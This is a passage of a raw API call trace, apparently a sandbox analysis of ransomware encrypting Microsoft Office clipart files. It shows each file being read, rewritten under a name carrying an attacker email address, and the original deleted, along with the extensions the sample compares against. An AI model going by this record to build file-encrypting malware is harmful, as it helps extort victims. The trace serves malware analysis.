	[0179.928] lstrlenW (lpString="HTECH_01.MID") returned 12
	[0179.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.219] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7178) returned 1
	[0180.219] CloseHandle (hObject=0x4a8) returned 1
	[0180.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220
	[0180.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.220] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.220] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.222] GetLastError () returned 0x0
	[0180.222] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1c0a, lpOverlapped=0x0) returned 1
	[0180.224] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0180.225] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.225] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.225] SetEndOfFile (hFile=0x36c) returned 1
	[0180.226] CloseHandle (hObject=0x36c) returned 1
	[0180.226] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.226] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.229] CloseHandle (hObject=0x4a8) returned 1
	[0180.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1
	[0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.231] lstrlenW (lpString=".doc") returned 4
	[0180.231] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.231] lstrlenW (lpString=".docx") returned 5
	[0180.231] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.231] lstrlenW (lpString=".pdf") returned 4
	[0180.231] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.231] lstrlenW (lpString=".xls") returned 4
	[0180.231] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.231] lstrlenW (lpString=".xlsx") returned 5
	[0180.232] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.232] lstrlenW (lpString=".ppt") returned 4
	[0180.232] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.232] lstrlenW (lpString=".zip") returned 4
	[0180.232] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.232] lstrlenW (lpString=".rar") returned 4
	[0180.232] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.232] lstrlenW (lpString=".bz2") returned 4
	[0180.232] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.232] lstrlenW (lpString=".7z") returned 3
	[0180.232] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.232] lstrlenW (lpString=".dbf") returned 4
	[0180.232] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.232] lstrlenW (lpString=".1cd") returned 4
	[0180.232] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.232] lstrlenW (lpString=".jpg") returned 4
	[0180.232] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.232] lstrlenW (lpString=".doc") returned 4
	[0180.232] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.232] lstrlenW (lpString=".docx") returned 5
	[0180.233] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.233] lstrlenW (lpString=".pdf") returned 4
	[0180.233] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.233] lstrlenW (lpString=".xls") returned 4
	[0180.233] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.233] lstrlenW (lpString=".xlsx") returned 5
	[0180.233] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.233] lstrlenW (lpString=".ppt") returned 4
	[0180.233] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.233] lstrlenW (lpString=".zip") returned 4
	[0180.233] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.233] lstrlenW (lpString=".rar") returned 4
	[0180.233] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.233] lstrlenW (lpString=".bz2") returned 4
	[0180.233] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.233] lstrlenW (lpString=".7z") returned 3
	[0180.233] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.233] lstrlenW (lpString=".dbf") returned 4
	[0180.233] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.233] lstrlenW (lpString=".1cd") returned 4
	[0180.233] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0180.233] lstrlenW (lpString=".jpg") returned 4
	[0180.233] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.234] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.234] lstrlenW (lpString="INDST_01.MID") returned 12
	[0180.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.235] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=8568) returned 1
	[0180.235] CloseHandle (hObject=0x4a8) returned 1
	[0180.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220
	[0180.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.236] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.236] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.237] GetLastError () returned 0x0
	[0180.237] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2178, lpOverlapped=0x0) returned 1
	[0180.239] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0180.240] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.240] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.241] SetEndOfFile (hFile=0x36c) returned 1
	[0180.241] CloseHandle (hObject=0x36c) returned 1
	[0180.241] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.241] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.245] CloseHandle (hObject=0x4a8) returned 1
	[0180.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1
	[0180.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.246] lstrlenW (lpString=".doc") returned 4
	[0180.246] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.246] lstrlenW (lpString=".docx") returned 5
	[0180.246] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.246] lstrlenW (lpString=".pdf") returned 4
	[0180.246] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.246] lstrlenW (lpString=".xls") returned 4
	[0180.246] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.246] lstrlenW (lpString=".xlsx") returned 5
	[0180.246] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.246] lstrlenW (lpString=".ppt") returned 4
	[0180.246] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.246] lstrlenW (lpString=".zip") returned 4
	[0180.246] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.246] lstrlenW (lpString=".rar") returned 4
	[0180.246] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.246] lstrlenW (lpString=".bz2") returned 4
	[0180.246] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.246] lstrlenW (lpString=".7z") returned 3
	[0180.246] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.246] lstrlenW (lpString=".dbf") returned 4
	[0180.246] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.246] lstrlenW (lpString=".1cd") returned 4
	[0180.246] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.247] lstrlenW (lpString=".jpg") returned 4
	[0180.247] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.247] lstrlenW (lpString=".doc") returned 4
	[0180.247] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.247] lstrlenW (lpString=".docx") returned 5
	[0180.247] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.247] lstrlenW (lpString=".pdf") returned 4
	[0180.247] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.247] lstrlenW (lpString=".xls") returned 4
	[0180.247] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.247] lstrlenW (lpString=".xlsx") returned 5
	[0180.247] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.247] lstrlenW (lpString=".ppt") returned 4
	[0180.247] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.247] lstrlenW (lpString=".zip") returned 4
	[0180.247] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.247] lstrlenW (lpString=".rar") returned 4
	[0180.247] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.247] lstrlenW (lpString=".bz2") returned 4
	[0180.247] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.247] lstrlenW (lpString=".7z") returned 3
	[0180.247] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.247] lstrlenW (lpString=".dbf") returned 4
	[0180.247] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.247] lstrlenW (lpString=".1cd") returned 4
	[0180.247] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0180.248] lstrlenW (lpString=".jpg") returned 4
	[0180.248] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.248] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.248] lstrlenW (lpString="JAVA_01.MID") returned 11
	[0180.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.249] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=9797) returned 1
	[0180.249] CloseHandle (hObject=0x5b4) returned 1
	[0180.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220
	[0180.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.250] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.250] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.250] GetLastError () returned 0x0
	[0180.250] ReadFile (in: hFile=0x5b4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2645, lpOverlapped=0x0) returned 1
	[0180.252] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2650, lpOverlapped=0x0) returned 1
	[0180.253] ReadFile (in: hFile=0x5b4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.253] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0180.254] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.254] CloseHandle (hObject=0x4a8) returned 1
	[0180.254] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.254] SetEndOfFile (hFile=0x5b4) returned 1
	[0180.257] CloseHandle (hObject=0x5b4) returned 1
	[0180.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1
	[0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.258] lstrlenW (lpString=".doc") returned 4
	[0180.258] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.258] lstrlenW (lpString=".docx") returned 5
	[0180.258] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.258] lstrlenW (lpString=".pdf") returned 4
	[0180.258] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.258] lstrlenW (lpString=".xls") returned 4
	[0180.258] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.258] lstrlenW (lpString=".xlsx") returned 5
	[0180.258] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.258] lstrlenW (lpString=".ppt") returned 4
	[0180.258] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.258] lstrlenW (lpString=".zip") returned 4
	[0180.258] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.258] lstrlenW (lpString=".rar") returned 4
	[0180.258] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.258] lstrlenW (lpString=".bz2") returned 4
	[0180.258] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.258] lstrlenW (lpString=".7z") returned 3
	[0180.258] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.258] lstrlenW (lpString=".dbf") returned 4
	[0180.258] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.258] lstrlenW (lpString=".1cd") returned 4
	[0180.258] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.258] lstrlenW (lpString=".jpg") returned 4
	[0180.258] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.259] lstrlenW (lpString=".doc") returned 4
	[0180.259] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.259] lstrlenW (lpString=".docx") returned 5
	[0180.259] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.259] lstrlenW (lpString=".pdf") returned 4
	[0180.259] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.259] lstrlenW (lpString=".xls") returned 4
	[0180.259] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.259] lstrlenW (lpString=".xlsx") returned 5
	[0180.259] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.259] lstrlenW (lpString=".ppt") returned 4
	[0180.580] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.581] lstrlenW (lpString=".zip") returned 4
	[0180.581] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.581] lstrlenW (lpString=".rar") returned 4
	[0180.581] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.581] lstrlenW (lpString=".bz2") returned 4
	[0180.581] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.581] lstrlenW (lpString=".7z") returned 3
	[0180.581] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.581] lstrlenW (lpString=".dbf") returned 4
	[0180.581] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.581] lstrlenW (lpString=".1cd") returned 4
	[0180.581] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0180.581] lstrlenW (lpString=".jpg") returned 4
	[0180.581] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.581] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.581] lstrlenW (lpString="NBOOK_01.MID") returned 12
